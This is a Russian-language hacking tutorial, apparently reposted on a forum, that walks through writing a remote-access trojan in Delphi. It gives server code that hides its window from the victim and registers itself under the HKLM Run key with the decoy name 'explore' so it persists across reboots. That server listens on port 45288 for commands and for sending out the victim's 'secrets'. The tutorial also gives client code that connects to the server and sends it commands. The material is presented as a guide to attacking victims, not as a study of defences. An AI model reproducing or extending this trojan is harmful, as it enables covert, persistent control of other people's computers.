Пример трояна на Delphi.

[Вступление]
Привет, читатель! Это моя первая статья по кодингу, да и вообще первая хорошая статья, поэтому краткое вступление:
В сентябре 2005 года, когда я только ударился в хакинг {и ударился больно}, я взял трояна ALB и считал себя суперхакером. Но
вскоре я понял, что ХАКЕР - ЭТО НЕ ТОТ ЧЕЛОВЕК, КОТОРЫЙ ЮЗАЕТ ТРОЯН, А ТОТ, КТО ЕГО ПИШЕТ! {золотая истина!}. И вот, через
полгода я уже в состоянии написать собственного коня, этим мы и займемся.

[Теория]
Наш троян будет состоять из двух частей: клиента и сервера. Сервер - это та часть, которая будет на компьютере жертвы, она
будет открывать соединение через сокет {что такое сокет смотри ниже} и выполнять текстовые команды клиента. Клиент - это,
как ты догадался, прога, которая должна стоять у нас и управлять сервером.

[Порты и сокеты]
Существует мировой тандарт структуры протоколов связи - семиуровневая OSI (Open Systems Interface - интерфейс открытых
систем). Hа каждом из уровней этой структуры решается свой объем задач своими методами. Сокеты находятся на так назывемом
транспортном уровне - ниже находится сетевой протокол IP, выше - специализированные протоколы сеансового уровня,
ориентированные на решение конкретных задач - это всем известные FTP, SMTP, etc.
Если смотреть по сути, сокет - это модель одного конца сетевого соединения, со всеми присущими ему свойствами, и,
естественно - возможностью получать и передавать данные.
Когда говорят СОКЕТ, то часто не представляют, что это такое. Можно говорить о моделях, о реализациях и так далее. Но есть
одно простое толкование, применимое для протокола IP. Как известно для взаимодействия между машинами по протоколу IP
используются адреса и порты.
Первое на текущий момент представляют из себя 32-x битный адрес, наиболее часто его представляют в символьной форме
mmm.nnn.ppp.qqq (адрес разбитый на четыре октета по одному байту в октете и разделеный точками) . Второе - это номер порта
в диапазоне от нуля до 65535. Так вот эта пара и есть сокет (гнездо в в котором расположены адрес и порт). В процессе обмена
как правило используются два сокета - сокет отправителя и сокет получателя.
Порт - это "гавань", на которую можно пристыковаться, как сказно выше, на одном IP - 65535 портов. Все они есть в системе, но
активны только несколько. Сервер нашего трояна открывает порт, а клиент к нему стыкуется. В это время идет обмен данными.

[Практика]
Итак, приступим!
Сервер и клиент сокетов расположены на вкладке Internet и называются ServerSocket и ClientSocket. Внимание! Не перепутай:
В Delphi 7 этих компонентов стандартно нет, есть только компоненты TCPServer и TCPClient - они нам
НЕ ПОДХОДЯТ!{в данном случае}. Если у тебя Delphi 7, тебе придется вручную установить их, для этого иди в
Component>>insall Packages>>Add>>Директория_Делфи/bin/dclsockets70.bpl

[Сервер]
Кидаем на форму серверный компонент , пусть это будет ServerSocket1.
Установим свойство port равным 45288, это порт, по которому наш троян будет принимать приказы и отсылать секреты жертвы.

В разделе программы var описываем переменные:
i:string;


Теперь запрячем форму, т.к. нам совсем необязательно, чтобы жертва видела, что у нее живет троянская лошадь:
Выбираем процедуру формы (Form1) OnCreate:

Application.ShowMainForm:=false;
{Приложение.ПоказыватьГлавнуюФорму:=ложь}
ServerSocket1.Open; {Запускаем сервер}


Теперь заставим трояна прописываться в автозагрузку: (в uses добавить registry, в var - registry:TRegistry


registry:=tregistry.Create; {инициализирум реестр}
registry.RootKey:=hkey_local_machine; {выбираем ключ. Подойдет также HKEY_CURRENT_USER, но только для данного юзверя}
registry.OpenKey('softwaremicrosoftwindowscurre ntversion
un',true); {подключ}
registry.Writestring('explore',Application.ExeName ); {создаем запись}
Registry.CloseKey; {закрываем ключ}
Registry.Free; {освобождаем реестр}


Теперь наш троян не только не виден в списке приложений, но и сам запускается с запуском винды. Следующий шаг - принимаем команды от сервера:

В событии сервера OnClientRead {поступила команда от клиента} пишем:

i:=ServerSocket1.Socket.ReceiveText {пишем принятый текст в переменную, для сохранности}

{

А вот здесь я открываю место для твоей фантазии. Теперь можно делать так:
если поступила команда 'поменять кнопки мыши', меняем кнопки мыши, и т.д.

Вот как это выглядит на Делфи:
}

if i='поменять кнопки мыши' then 
SwapMouseButton(true) //Обратно - swapmousebutton(false)

{Остальное здесь допишешь сам, я лишь направляю твои мысли в нужное русло}


Ты научился принимать и обрабатывать команды клиента, но иногда нужно наоборот - передать что-то клиенту, например имя пользователя. Это делается так:
Сейчас мы будем передавать версию сервера.
В той же процедуре добавляем:


if i='версия' then 
ServerSocket1.Socket.Connections[0].SendText('тестовая версия');


Как видно, с помощью команды sendtext мы отправили первому клиенту сообщение "тестовая версия".

Не забудь сохранить проект.

С сервером разобрались, теперь клиент.

[Клиент]
Создаем новый проект.

//Клиент, который я использую довольно простой. Не вздумайте делать такой в заказном трояне, например!!!

В var также обьявляем переменную i стрингового типа для сбрасывания получаемой информации.

Бросаем на форму edit'ы, которые мы будем использовать: IP сервера, текст команды. Называем соответственно IP и Message;
Бросаем 4 компонента Button, называем их Connect, Disconect, Send, Exit.
Также находим ClientSocket и называем его Client.
И для полного контроля StatusBar, называем sb, сюда будут приходить ответы сервера.

Дальше обработчики событий для клиента:


{OnConnect}
sb.SimpleText:='Подключение произошло успешно';

{OnError}
sb.SimpleText:='Произошла ошибка';

{OnDisconnect}
sb.SimpleText:='Клиент отключен';

{OnConnecting}
sb.SimpleText:='Подключаюсь...';

{OnRead}
i:=Client.ReceiveText;
sb.SimpleText:=i;


Теперь обработаем событие OnClick для кнопок:


{Exit}
form1.close;

{Connect}
client.Address:=IP.text; //Передаем клиенту адрес, вписанный в Edit
client.Open; //Активация клиента

{Disconnect}
client.close;

{Send}
Client.SendText(Message.text);
sb.SimpleText:='Данные отправлены';
Добавлено: 15 Августа 2013 01:03:12 Добавил: Андрей Ковальчук Нравится 0
Добавить
Комментарии:
Нету комментариев для вывода...